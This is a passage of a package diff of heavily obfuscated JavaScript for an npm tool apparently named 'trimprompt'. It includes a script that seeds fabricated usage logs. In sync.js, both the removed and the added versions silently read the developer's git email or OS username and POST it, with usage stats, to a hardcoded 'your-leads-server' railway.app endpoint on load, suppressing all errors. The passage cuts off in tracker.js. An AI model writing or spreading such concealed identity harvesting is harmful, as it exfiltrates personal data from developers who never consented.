models=[a0_0x40a171(0x14e),a0_0x40a171(0x15e),a0_0x40a171(0x139),a0_0x40a171(0x16b),a0_0x40a171(0x160),a0_0x40a171(0x16d)],commands=[{'cmd':a0_0x40a171(0x179),'raw':a0_0x40a171(0x165)['repeat'](0x32),'comp':a0_0x40a171(0x174),'exitCode':0x0},{'cmd':a0_0x40a171(0x146),'raw':a0_0x40a171(0x157)+'test\x20tests::test_case_'[a0_0x40a171(0x151)](0x28)+a0_0x40a171(0x158),'comp':a0_0x40a171(0x15a),'exitCode':0x0},{'cmd':a0_0x40a171(0x16c),'raw':a0_0x40a171(0x13b)+a0_0x40a171(0x13f)+a0_0x40a171(0x159),'comp':'npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','exitCode':0x0},{'cmd':a0_0x40a171(0x167),'raw':a0_0x40a171(0x17c)+a0_0x40a171(0x176)+a0_0x40a171(0x14c)+a0_0x40a171(0x148),'comp':a0_0x40a171(0x16f),'exitCode':0x0},{'cmd':a0_0x40a171(0x149),'raw':a0_0x40a171(0x17f)+a0_0x40a171(0x180)+a0_0x40a171(0x140)+a0_0x40a171(0x13d)+a0_0x40a171(0x16a),'comp':a0_0x40a171(0x161),'exitCode':0x0},{'cmd':a0_0x40a171(0x155),'raw':a0_0x40a171(0x137)+a0_0x40a171(0x154)+a0_0x40a171(0x15b),'comp':'pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','exitCode':0x0},{'cmd':a0_0x40a171(0x16e),'raw':a0_0x40a171(0x14b)+a0_0x40a171(0x13a),'comp':a0_0x40a171(0x171),'exitCode':0x0},{'cmd':a0_0x40a171(0x15d),'raw':'src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a'+a0_0x40a171(0x172)+a0_0x40a171(0x150),'comp':a0_0x40a171(0x17a),'exitCode':0x0}],startTime=Date['now']()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models['length']],commandItem=commands[Math['floor'](Math[a0_0x40a171(0x15c)]()*commands[a0_0x40a171(0x142)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)['toISOString'](),log=tracker_1[a0_0x40a171(0x168)][a0_0x40a171(0x138)](commandItem['cmd'],commandItem['raw'],commandItem[a0_0x40a171(0x163)],commandItem[a0_0x40a171(0x166)]),logs=tracker_1[a0_0x40a171(0x168)][a0_0x40a171(0x17d)]();logs['length']>0x0&&(logs[logs[a0_0x40a171(0x142)]-0x1][a0_0x40a171(0x14a)]=timestamp,require('fs')[a0_0x40a171(0x153)](require(a0_0x40a171(0x175))[a0_0x40a171(0x156)](require('os')[a0_0x40a171(0x144)](),a0_0x40a171(0x169),a0_0x40a171(0x147)),JSON[a0_0x40a171(0x164)](logs,null,0x2),'utf8'));}console[a0_0x40a171(0x17e)](a0_0x40a171(0x170));
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x18b7d1=a0_0x5ba7;(function(_0x5c8091,_0x58c254){const _0x301264=a0_0x5ba7,_0xbaca2f=_0x5c8091();while(!![]){try{const _0x29335b=parseInt(_0x301264(0x12d))/0x1*(-parseInt(_0x301264(0x142))/0x2)+parseInt(_0x301264(0x109))/0x3+-parseInt(_0x301264(0x153))/0x4+-parseInt(_0x301264(0x13c))/0x5+parseInt(_0x301264(0x13a))/0x6+-parseInt(_0x301264(0x10a))/0x7+parseInt(_0x301264(0x131))/0x8;if(_0x29335b===_0x58c254)break;else _0xbaca2f['push'](_0xbaca2f['shift']());}catch(_0x7797a1){_0xbaca2f['push'](_0xbaca2f['shift']());}}}(a0_0x1805,0xe20b2));var __createBinding=this&&this['__createBinding']||(Object[a0_0x18b7d1(0x119)]?function(_0x3e7f0b,_0x153426,_0x3873c5,_0x519a33){const _0x4e9b59=a0_0x18b7d1;if(_0x519a33===undefined)_0x519a33=_0x3873c5;var _0x589757=Object[_0x4e9b59(0x127)](_0x153426,_0x3873c5);(!_0x589757||(_0x4e9b59(0x137)in _0x589757?!_0x153426[_0x4e9b59(0x140)]:_0x589757[_0x4e9b59(0x158)]||_0x589757[_0x4e9b59(0x136)]))&&(_0x589757={'enumerable':!![],'get':function(){return _0x153426[_0x3873c5];}}),Object[_0x4e9b59(0x11b)](_0x3e7f0b,_0x519a33,_0x589757);}:function(_0x1d019f,_0x548635,_0x358248,_0x595000){if(_0x595000===undefined)_0x595000=_0x358248;_0x1d019f[_0x595000]=_0x548635[_0x358248];}),__setModuleDefault=this&&this[a0_0x18b7d1(0x128)]||(Object[a0_0x18b7d1(0x119)]?function(_0x3cce12,_0x2db3c8){const _0x2946b0=a0_0x18b7d1;Object[_0x2946b0(0x11b)](_0x3cce12,'default',{'enumerable':!![],'value':_0x2db3c8});}:function(_0x553261,_0x146e90){const _0x362360=a0_0x18b7d1;_0x553261[_0x362360(0x116)]=_0x146e90;}),__importStar=this&&this[a0_0x18b7d1(0x135)]||(function(){var _0x163ac9=function(_0x311b0d){const _0x10dee3=a0_0x5ba7;return _0x163ac9=Object[_0x10dee3(0x146)]||function(_0x3579ea){const _0x346dbf=_0x10dee3;var _0x35668f=[];for(var _0x4c0b94 in _0x3579ea)if(Object[_0x346dbf(0x14e)][_0x346dbf(0x134)][_0x346dbf(0x138)](_0x3579ea,_0x4c0b94))_0x35668f[_0x35668f[_0x346dbf(0x129)]]=_0x4c0b94;return _0x35668f;},_0x163ac9(_0x311b0d);};return function(_0x10c21c){const _0x3ce5cb=a0_0x5ba7;if(_0x10c21c&&_0x10c21c[_0x3ce5cb(0x140)])return _0x10c21c;var _0x3e0e27={};if(_0x10c21c!=null){for(var _0x35754e=_0x163ac9(_0x10c21c),_0x1df341=0x0;_0x1df341<_0x35754e[_0x3ce5cb(0x129)];_0x1df341++)if(_0x35754e[_0x1df341]!==_0x3ce5cb(0x116))__createBinding(_0x3e0e27,_0x10c21c,_0x35754e[_0x1df341]);}return __setModuleDefault(_0x3e0e27,_0x10c21c),_0x3e0e27;};}());Object[a0_0x18b7d1(0x11b)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x18b7d1(0x10f))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require(a0_0x18b7d1(0x154))),url_1=require(a0_0x18b7d1(0x124)),_cfg=['https://','your-leads-server',a0_0x18b7d1(0x113),a0_0x18b7d1(0x149)][a0_0x18b7d1(0x155)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x18b7d1(0x10e),'input_price_1m':0x3},'claude-3-opus':{'name':'Claude\x203\x20Opus','input_price_1m':0xf},'gpt-4o':{'name':a0_0x18b7d1(0x13f),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x18b7d1(0x120),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x18b7d1(0x111),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path[a0_0x18b7d1(0x155)](os['homedir'](),a0_0x18b7d1(0x132)),configPath=path[a0_0x18b7d1(0x155)](baseDir,a0_0x18b7d1(0x110)),statsPath=path[a0_0x18b7d1(0x155)](baseDir,'stats.json'),dailySyncPath=path['join'](baseDir,a0_0x18b7d1(0x139));function getTodayDate(){const _0x54de2d=a0_0x18b7d1;return new Date()[_0x54de2d(0x147)]()[_0x54de2d(0x11c)]('T')[0x0];}function getDeveloperIdentity(){const _0x5ce4b9=a0_0x18b7d1;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x2dd688}=require(_0x5ce4b9(0x118)),_0x50cab2=_0x2dd688(_0x5ce4b9(0x143),{'stdio':[_0x5ce4b9(0x10c),_0x5ce4b9(0x123),_0x5ce4b9(0x10c)]})[_0x5ce4b9(0x10d)]()['trim']();if(_0x50cab2&&_0x50cab2[_0x5ce4b9(0x144)]('@'))return _0x50cab2;}catch{}try{const _0xa43bcc=os[_0x5ce4b9(0x11e)]()[_0x5ce4b9(0x117)];if(_0xa43bcc)return _0xa43bcc;}catch{}return'anonymous';}function hasAlreadySyncedToday(){const _0xb060a6=a0_0x18b7d1;try{if(!fs[_0xb060a6(0x12c)](dailySyncPath))return![];const _0x4f393b=JSON[_0xb060a6(0x10b)](fs[_0xb060a6(0x14d)](dailySyncPath,_0xb060a6(0x156)));return _0x4f393b['last_sync_date']===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0xf2ba89=a0_0x18b7d1;try{const _0x421ce0={'last_sync_date':getTodayDate()};fs[_0xf2ba89(0x159)](dailySyncPath,JSON[_0xf2ba89(0x114)](_0x421ce0,null,0x2),_0xf2ba89(0x156));}catch{}}function postTelemetry(_0x423218,_0x46875d){return new Promise(_0x395354=>{const _0x174571=a0_0x5ba7;try{const _0x4b2948=new url_1[(_0x174571(0x14a))](_0x423218),_0x24c42f=JSON[_0x174571(0x114)](_0x46875d),_0x434f60={'hostname':_0x4b2948[_0x174571(0x13e)],'port':_0x4b2948['port']||(_0x4b2948[_0x174571(0x11a)]===_0x174571(0x152)?0x1bb:0x50),'path':_0x4b2948[_0x174571(0x14c)]+_0x4b2948[_0x174571(0x15a)],'method':_0x174571(0x112),'headers':{'Content-Type':_0x174571(0x122),'Content-Length':Buffer['byteLength'](_0x24c42f)},'timeout':0x1f40},_0x453870=_0x4b2948['protocol']===_0x174571(0x152)?https:http,_0x396a41=_0x453870[_0x174571(0x141)](_0x434f60,_0x3cd60f=>{const _0x42e238=_0x174571;_0x395354(!!(_0x3cd60f[_0x42e238(0x150)]&&_0x3cd60f[_0x42e238(0x150)]>=0xc8&&_0x3cd60f[_0x42e238(0x150)]<0x12c));});_0x396a41['on'](_0x174571(0x12a),()=>_0x395354(![])),_0x396a41['on'](_0x174571(0x13d),()=>{const _0x104b1b=_0x174571;_0x396a41[_0x104b1b(0x11d)](),_0x395354(![]);}),_0x396a41[_0x174571(0x11f)](_0x24c42f),_0x396a41['end']();}catch{_0x395354(![]);}});}function buildDailyPayload(_0x192b48){const _0x177bbf=a0_0x18b7d1,_0x4e0e4f=getTodayDate(),_0x3e77e1=_0x192b48['filter'](_0x263573=>_0x263573[_0x177bbf(0x133)][_0x177bbf(0x13b)](_0x4e0e4f)),_0x2795f9=_0x3e77e1[_0x177bbf(0x129)]>0x0?_0x3e77e1:_0x192b48;let _0x2354a8=0x0,_0x3b32aa=0x0,_0x5b6e31=0x0,_0x12f47c=0x0;const _0x3493b2=new Set();for(const _0x3630a1 of _0x2795f9){_0x2354a8+=_0x3630a1[_0x177bbf(0x125)],_0x3b32aa+=_0x3630a1[_0x177bbf(0x107)],_0x5b6e31+=_0x3630a1[_0x177bbf(0x121)],_0x3493b2[_0x177bbf(0x130)](_0x3630a1[_0x177bbf(0x145)]);const _0x2b5432=PRICING[_0x3630a1['model_used']]||PRICING['claude-3-5-sonnet'];_0x12f47c+=_0x3630a1[_0x177bbf(0x121)]*_0x2b5432['input_price_1m']/0xf4240;}const _0x295e7c=_0x2795f9[_0x2795f9[_0x177bbf(0x129)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os['platform'](),'date':_0x4e0e4f,'executions_count':_0x2795f9[_0x177bbf(0x129)],'total_raw_tokens':_0x2354a8,'total_compressed_tokens':_0x3b32aa,'total_tokens_saved':_0x5b6e31,'total_money_saved_usd':parseFloat(_0x12f47c[_0x177bbf(0x14b)](0x6)),'models_used':Array[_0x177bbf(0x157)](_0x3493b2),'last_seen':_0x295e7c?_0x295e7c[_0x177bbf(0x133)]:new Date()[_0x177bbf(0x147)]()};}async function runSync(){const _0x3d6df7=a0_0x18b7d1;if(!fs[_0x3d6df7(0x12c)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x3a1e24;try{_0x3a1e24=JSON[_0x3d6df7(0x10b)](fs[_0x3d6df7(0x14d)](statsPath,_0x3d6df7(0x156)));}catch{return;}const _0x293e49=_0x3a1e24['filter'](_0x18ce22=>!_0x18ce22[_0x3d6df7(0x126)]);if(_0x293e49[_0x3d6df7(0x129)]===0x0)return;const _0x39d0bd=buildDailyPayload(_0x3a1e24);await postTelemetry(_ep,_0x39d0bd);let _0x3d9258=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x3d9258&&fs[_0x3d6df7(0x12c)](configPath))try{const _0x49bfea=JSON[_0x3d6df7(0x10b)](fs['readFileSync'](configPath,_0x3d6df7(0x156)));_0x3d9258=_0x49bfea[_0x3d6df7(0x12e)]||'';}catch{}_0x3d9258[_0x3d6df7(0x148)]()[_0x3d6df7(0x129)]>0x0&&await postTelemetry(_0x3d9258,_0x39d0bd);for(const _0x32e63b of _0x3a1e24){if(!_0x32e63b[_0x3d6df7(0x126)])_0x32e63b[_0x3d6df7(0x126)]=!![];}try{fs['writeFileSync'](statsPath,JSON['stringify'](_0x3a1e24,null,0x2),'utf8');}catch{}markSyncedToday(),pruneOldLogs(_0x3a1e24);}function pruneOldLogs(_0x2f345f){const _0x53282f=a0_0x18b7d1;try{const _0x13f0b1=new Date(),_0x21125a=new Date(_0x13f0b1[_0x53282f(0x108)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x52349e=[],_0x22eba9=[];for(const _0xbb35cc of _0x2f345f){const _0x44bafb=new Date(_0xbb35cc[_0x53282f(0x133)]);_0x44bafb>=_0x21125a?_0x52349e[_0x53282f(0x115)](_0xbb35cc):_0x22eba9[_0x53282f(0x115)](_0xbb35cc);}if(_0x22eba9['length']>0x0){const _0x3d8d12=path[_0x53282f(0x155)](baseDir,_0x53282f(0x151));for(const _0x215c67 of _0x22eba9){const _0x1d0b65=path[_0x53282f(0x155)](_0x3d8d12,_0x215c67['id']+'.raw.txt'),_0x3a97c5=path[_0x53282f(0x155)](_0x3d8d12,_0x215c67['id']+_0x53282f(0x12f));try{if(fs[_0x53282f(0x12c)](_0x1d0b65))fs[_0x53282f(0x12b)](_0x1d0b65);if(fs[_0x53282f(0x12c)](_0x3a97c5))fs[_0x53282f(0x12b)](_0x3a97c5);}catch{}}fs[_0x53282f(0x159)](statsPath,JSON[_0x53282f(0x114)](_0x52349e,null,0x2),_0x53282f(0x156));}}catch{}}runSync()[a0_0x18b7d1(0x14f)](()=>{});function a0_0x5ba7(_0x4f6e67,_0x598137){_0x4f6e67=_0x4f6e67-0x107;const _0x1805ef=a0_0x1805();let _0x5ba7d4=_0x1805ef[_0x4f6e67];return _0x5ba7d4;}function a0_0x1805(){const _0x4c9df5=['search','estimated_compressed_tokens','getTime','4875507MwbtHc','5710481ktIvcN','parse','ignore','toString','Claude\x203.5\x20Sonnet','path','config.json','Gemini\x201.5\x20Pro','POST','.railway.app','stringify','push','default','username','child_process','create','protocol','defineProperty','split','destroy','userInfo','write','GPT-4o\x20Mini','tokens_saved','application/json','pipe','url','estimated_raw_tokens','synced','getOwnPropertyDescriptor','__setModuleDefault','length','error','unlinkSync','existsSync','747yigIuY','telemetry_url','.comp.txt','add','18750128SamiXo','.trimprompt','timestamp','hasOwnProperty','__importStar','configurable','get','call','daily_sync.json','6122742PPvXSo','startsWith','8480285NBCoKq','timeout','hostname','GPT-4o','__esModule','request','2166aNzVQL','git\x20config\x20user.email','includes','model_used','getOwnPropertyNames','toISOString','trim','/api/telemetry','URL','toFixed','pathname','readFileSync','prototype','catch','statusCode','logs','https:','2970708sHxwfl','https','join','utf8','from','writable','writeFileSync'];a0_0x1805=function(){return _0x4c9df5;};return a0_0x1805();}
1
+ 'use strict';const a0_0x46cd27=a0_0x1e27;(function(_0xfc0c62,_0x91ae7e){const _0x5f508c=a0_0x1e27,_0x3d1249=_0xfc0c62();while(!![]){try{const _0x3c494d=parseInt(_0x5f508c(0xe2))/0x1*(-parseInt(_0x5f508c(0xfe))/0x2)+parseInt(_0x5f508c(0xf7))/0x3+-parseInt(_0x5f508c(0xbe))/0x4*(parseInt(_0x5f508c(0x104))/0x5)+-parseInt(_0x5f508c(0xba))/0x6*(-parseInt(_0x5f508c(0xdb))/0x7)+-parseInt(_0x5f508c(0xbb))/0x8+parseInt(_0x5f508c(0xc9))/0x9+-parseInt(_0x5f508c(0xd5))/0xa*(-parseInt(_0x5f508c(0x100))/0xb);if(_0x3c494d===_0x91ae7e)break;else _0x3d1249['push'](_0x3d1249['shift']());}catch(_0x5c38ae){_0x3d1249['push'](_0x3d1249['shift']());}}}(a0_0x1d52,0xe6a9f));function a0_0x1e27(_0x43ecbd,_0x13b52e){_0x43ecbd=_0x43ecbd-0xb7;const _0x1d52f0=a0_0x1d52();let _0x1e2721=_0x1d52f0[_0x43ecbd];return _0x1e2721;}var __createBinding=this&&this[a0_0x46cd27(0xcc)]||(Object[a0_0x46cd27(0xf2)]?function(_0x591817,_0x2976c7,_0x1b0ef3,_0x58a864){const _0x4b51f4=a0_0x46cd27;if(_0x58a864===undefined)_0x58a864=_0x1b0ef3;var _0x2e1202=Object['getOwnPropertyDescriptor'](_0x2976c7,_0x1b0ef3);(!_0x2e1202||(_0x4b51f4(0xd1)in _0x2e1202?!_0x2976c7[_0x4b51f4(0xde)]:_0x2e1202['writable']||_0x2e1202[_0x4b51f4(0xc7)]))&&(_0x2e1202={'enumerable':!![],'get':function(){return _0x2976c7[_0x1b0ef3];}}),Object[_0x4b51f4(0xf9)](_0x591817,_0x58a864,_0x2e1202);}:function(_0x20dfc4,_0x94888e,_0xa0af76,_0x187b71){if(_0x187b71===undefined)_0x187b71=_0xa0af76;_0x20dfc4[_0x187b71]=_0x94888e[_0xa0af76];}),__setModuleDefault=this&&this[a0_0x46cd27(0xdc)]||(Object[a0_0x46cd27(0xf2)]?function(_0x573092,_0x523f78){const _0x1ed24a=a0_0x46cd27;Object[_0x1ed24a(0xf9)](_0x573092,_0x1ed24a(0xbd),{'enumerable':!![],'value':_0x523f78});}:function(_0x9007a6,_0x45b4dd){const _0x51b8c0=a0_0x46cd27;_0x9007a6[_0x51b8c0(0xbd)]=_0x45b4dd;}),__importStar=this&&this[a0_0x46cd27(0xc1)]||(function(){var _0xc53a56=function(_0x1d00d1){const _0x38c5ff=a0_0x1e27;return _0xc53a56=Object[_0x38c5ff(0xdf)]||function(_0x2aacb5){const _0x162ace=_0x38c5ff;var _0xedcb72=[];for(var _0x102a12 in _0x2aacb5)if(Object[_0x162ace(0xe4)][_0x162ace(0x101)][_0x162ace(0x109)](_0x2aacb5,_0x102a12))_0xedcb72[_0xedcb72[_0x162ace(0x107)]]=_0x102a12;return _0xedcb72;},_0xc53a56(_0x1d00d1);};return function(_0x59cd1f){const _0x390e5b=a0_0x1e27;if(_0x59cd1f&&_0x59cd1f[_0x390e5b(0xde)])return _0x59cd1f;var _0x406bab={};if(_0x59cd1f!=null){for(var _0x16b836=_0xc53a56(_0x59cd1f),_0x1601b8=0x0;_0x1601b8<_0x16b836[_0x390e5b(0x107)];_0x1601b8++)if(_0x16b836[_0x1601b8]!==_0x390e5b(0xbd))__createBinding(_0x406bab,_0x59cd1f,_0x16b836[_0x1601b8]);}return __setModuleDefault(_0x406bab,_0x59cd1f),_0x406bab;};}());function a0_0x1d52(){const _0x3cf528=['logs','Claude\x203\x20Opus','synced','statusCode','url','estimated_raw_tokens','input_price_1m','split','claude-3-5-sonnet','homedir','.raw.txt','create','utf8','toFixed','filter','pipe','4746591WABabo','last_sync_date','defineProperty','join','parse','getTime','toISOString','8932GsGRVx','timeout','66CEBNeN','hasOwnProperty','https://','Gemini\x201.5\x20Pro','36310xlpKZM','from','telemetry_url','length','readFileSync','call','POST','protocol','model_used','9184506BgkwfG','7759336hgnNvi','byteLength','default','452AjulDX','request','timestamp','__importStar','GPT-4o\x20Mini','pathname','add','trim','https:','configurable','write','11377080iImXTM','toString','existsSync','__createBinding','stats.json','estimated_compressed_tokens','.railway.app','Gemini\x201.5\x20Flash','get','error','startsWith','username','308080MwkWfk','path','stringify','destroy','port','ignore','7KaWedK','__setModuleDefault','end','__esModule','getOwnPropertyNames','writeFileSync','tokens_saved','409KqBzpQ','URL','prototype','push','unlinkSync'];a0_0x1d52=function(){return _0x3cf528;};return a0_0x1d52();}Object[a0_0x46cd27(0xf9)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x46cd27(0xd6))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require('https')),url_1=require(a0_0x46cd27(0xeb)),_cfg=[a0_0x46cd27(0x102),'your-leads-server',a0_0x46cd27(0xcf),'/api/telemetry'][a0_0x46cd27(0xfa)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x46cd27(0xe8),'input_price_1m':0xf},'gpt-4o':{'name':'GPT-4o','input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x46cd27(0xc2),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x46cd27(0x103),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x46cd27(0xd0),'input_price_1m':0.075}},baseDir=path[a0_0x46cd27(0xfa)](os[a0_0x46cd27(0xf0)](),'.trimprompt'),configPath=path['join'](baseDir,'config.json'),statsPath=path[a0_0x46cd27(0xfa)](baseDir,a0_0x46cd27(0xcd)),dailySyncPath=path[a0_0x46cd27(0xfa)](baseDir,'daily_sync.json');function getTodayDate(){const _0x2aa332=a0_0x46cd27;return new Date()[_0x2aa332(0xfd)]()[_0x2aa332(0xee)]('T')[0x0];}function getDeveloperIdentity(){const _0x4d0628=a0_0x46cd27;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x416c16}=require('child_process'),_0x4e209d=_0x416c16('git\x20config\x20user.email',{'stdio':['ignore',_0x4d0628(0xf6),_0x4d0628(0xda)]})[_0x4d0628(0xca)]()[_0x4d0628(0xc5)]();if(_0x4e209d&&_0x4e209d['includes']('@'))return _0x4e209d;}catch{}try{const _0x28983b=os['userInfo']()[_0x4d0628(0xd4)];if(_0x28983b)return _0x28983b;}catch{}return'anonymous';}function hasAlreadySyncedToday(){const _0xa1fbd6=a0_0x46cd27;try{if(!fs[_0xa1fbd6(0xcb)](dailySyncPath))return![];const _0x5b8ffc=JSON[_0xa1fbd6(0xfb)](fs[_0xa1fbd6(0x108)](dailySyncPath,_0xa1fbd6(0xf3)));return _0x5b8ffc[_0xa1fbd6(0xf8)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0xc90030=a0_0x46cd27;try{const _0x5054df={'last_sync_date':getTodayDate()};fs['writeFileSync'](dailySyncPath,JSON[_0xc90030(0xd7)](_0x5054df,null,0x2),_0xc90030(0xf3));}catch{}}function postTelemetry(_0x25e94f,_0x531ef0){return new Promise(_0x5853d4=>{const _0x319be3=a0_0x1e27;try{const _0x574f26=new url_1[(_0x319be3(0xe3))](_0x25e94f),_0x397530=JSON[_0x319be3(0xd7)](_0x531ef0),_0x3535b3={'hostname':_0x574f26['hostname'],'port':_0x574f26[_0x319be3(0xd9)]||(_0x574f26['protocol']===_0x319be3(0xc6)?0x1bb:0x50),'path':_0x574f26[_0x319be3(0xc3)]+_0x574f26['search'],'method':_0x319be3(0xb7),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x319be3(0xbc)](_0x397530)},'timeout':0x1f40},_0x2f65fb=_0x574f26[_0x319be3(0xb8)]===_0x319be3(0xc6)?https:http,_0x5aecb2=_0x2f65fb[_0x319be3(0xbf)](_0x3535b3,_0x568991=>{const _0x49cd38=_0x319be3;_0x5853d4(!!(_0x568991['statusCode']&&_0x568991[_0x49cd38(0xea)]>=0xc8&&_0x568991[_0x49cd38(0xea)]<0x12c));});_0x5aecb2['on'](_0x319be3(0xd2),()=>_0x5853d4(![])),_0x5aecb2['on'](_0x319be3(0xff),()=>{const _0x3d26a5=_0x319be3;_0x5aecb2[_0x3d26a5(0xd8)](),_0x5853d4(![]);}),_0x5aecb2[_0x319be3(0xc8)](_0x397530),_0x5aecb2[_0x319be3(0xdd)]();}catch{_0x5853d4(![]);}});}function buildDailyPayload(_0x1e57de){const _0x1ef520=a0_0x46cd27,_0x4800e8=getTodayDate(),_0x3313a5=_0x1e57de[_0x1ef520(0xf5)](_0x5c737c=>_0x5c737c[_0x1ef520(0xc0)][_0x1ef520(0xd3)](_0x4800e8)),_0x1015bc=_0x3313a5[_0x1ef520(0x107)]>0x0?_0x3313a5:_0x1e57de;let _0x59b5fb=0x0,_0x428efd=0x0,_0xb959f7=0x0,_0x4b8938=0x0;const _0x532ed4=new Set();for(const _0x24b6e5 of _0x1015bc){_0x59b5fb+=_0x24b6e5[_0x1ef520(0xec)],_0x428efd+=_0x24b6e5[_0x1ef520(0xce)],_0xb959f7+=_0x24b6e5[_0x1ef520(0xe1)],_0x532ed4[_0x1ef520(0xc4)](_0x24b6e5[_0x1ef520(0xb9)]);const _0x44e952=PRICING[_0x24b6e5[_0x1ef520(0xb9)]]||PRICING[_0x1ef520(0xef)];_0x4b8938+=_0x24b6e5[_0x1ef520(0xe1)]*_0x44e952[_0x1ef520(0xed)]/0xf4240;}const _0x2f69e3=_0x1015bc[_0x1015bc['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os['platform'](),'date':_0x4800e8,'executions_count':_0x1015bc[_0x1ef520(0x107)],'total_raw_tokens':_0x59b5fb,'total_compressed_tokens':_0x428efd,'total_tokens_saved':_0xb959f7,'total_money_saved_usd':parseFloat(_0x4b8938[_0x1ef520(0xf4)](0x6)),'models_used':Array[_0x1ef520(0x105)](_0x532ed4),'last_seen':_0x2f69e3?_0x2f69e3[_0x1ef520(0xc0)]:new Date()['toISOString']()};}async function runSync(){const _0x31b679=a0_0x46cd27;if(!fs['existsSync'](statsPath))return;if(hasAlreadySyncedToday())return;let _0x337aa6;try{_0x337aa6=JSON[_0x31b679(0xfb)](fs[_0x31b679(0x108)](statsPath,_0x31b679(0xf3)));}catch{return;}const _0x59705a=_0x337aa6['filter'](_0x111104=>!_0x111104['synced']);if(_0x59705a[_0x31b679(0x107)]===0x0)return;const _0x2b1fbd=buildDailyPayload(_0x337aa6);await postTelemetry(_ep,_0x2b1fbd);let _0x39226e=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x39226e&&fs['existsSync'](configPath))try{const _0x3f7f94=JSON['parse'](fs[_0x31b679(0x108)](configPath,'utf8'));_0x39226e=_0x3f7f94[_0x31b679(0x106)]||'';}catch{}_0x39226e[_0x31b679(0xc5)]()['length']>0x0&&await postTelemetry(_0x39226e,_0x2b1fbd);for(const _0x20e6e5 of _0x337aa6){if(!_0x20e6e5[_0x31b679(0xe9)])_0x20e6e5['synced']=!![];}try{fs[_0x31b679(0xe0)](statsPath,JSON['stringify'](_0x337aa6,null,0x2),_0x31b679(0xf3));}catch{}markSyncedToday(),pruneOldLogs(_0x337aa6);}function pruneOldLogs(_0x4c998e){const _0x358ebf=a0_0x46cd27;try{const _0x4b5bc0=new Date(),_0x2a572d=new Date(_0x4b5bc0[_0x358ebf(0xfc)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x12f2d2=[],_0x377146=[];for(const _0x3604fd of _0x4c998e){const _0x579233=new Date(_0x3604fd[_0x358ebf(0xc0)]);_0x579233>=_0x2a572d?_0x12f2d2[_0x358ebf(0xe5)](_0x3604fd):_0x377146[_0x358ebf(0xe5)](_0x3604fd);}if(_0x377146[_0x358ebf(0x107)]>0x0){const _0x3a5f50=path[_0x358ebf(0xfa)](baseDir,_0x358ebf(0xe7));for(const _0x2f5f5b of _0x377146){const _0x364d17=path[_0x358ebf(0xfa)](_0x3a5f50,_0x2f5f5b['id']+_0x358ebf(0xf1)),_0x3ac758=path[_0x358ebf(0xfa)](_0x3a5f50,_0x2f5f5b['id']+'.comp.txt');try{if(fs['existsSync'](_0x364d17))fs[_0x358ebf(0xe6)](_0x364d17);if(fs[_0x358ebf(0xcb)](_0x3ac758))fs['unlinkSync'](_0x3ac758);}catch{}}fs[_0x358ebf(0xe0)](statsPath,JSON[_0x358ebf(0xd7)](_0x12f2d2,null,0x2),_0x358ebf(0xf3));}}catch{}}runSync()['catch'](()=>{});
package/tracker.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x5b6d33=a0_0x32aa;(function(_0x19510e,_0x370ad0){const _0x11d7b0=a0_0x32aa,_0x1a7c5c=_0x19510e();while(!![]){try{const _0x3b573f=-parseInt(_0x11d7b0(0x18e))/0x1*(parseInt(_0x11d7b0(0x185))/0x2)+-parseInt(_0x11d7b0(0x18f))/0x3+parseInt(_0x11d7b0(0x195))/0x4+-parseInt(_0x11d7b0(0x1c8))/0x5*(parseInt(_0x11d7b0(0x1ac))/0x6)+-parseInt(_0x11d7b0(0x18b))/0x7+-parseInt(_0x11d7b0(0x1db))/0x8*(parseInt(_0x11d7b0(0x199))/0x9)+-parseInt(_0x11d7b0(0x187))/0xa*(-parseInt(_0x11d7b0(0x1e0))/0xb);if(_0x3b573f===_0x370ad0)break;else _0x1a7c5c['push'](_0x1a7c5c['shift']());}catch(_0x378d35){_0x1a7c5c['push'](_0x1a7c5c['shift']());}}}(a0_0x4982,0x688b0));var __createBinding=this&&this[a0_0x5b6d33(0x1c5)]||(Object[a0_0x5b6d33(0x19b)]?function(_0x16ed71,_0x5b6e0c,_0x44c9f3,_0x5f2b99){const _0x334d2e=a0_0x5b6d33;if(_0x5f2b99===undefined)_0x5f2b99=_0x44c9f3;var _0x5ecdcb=Object[_0x334d2e(0x1ad)](_0x5b6e0c,_0x44c9f3);(!_0x5ecdcb||(_0x334d2e(0x1d0)in 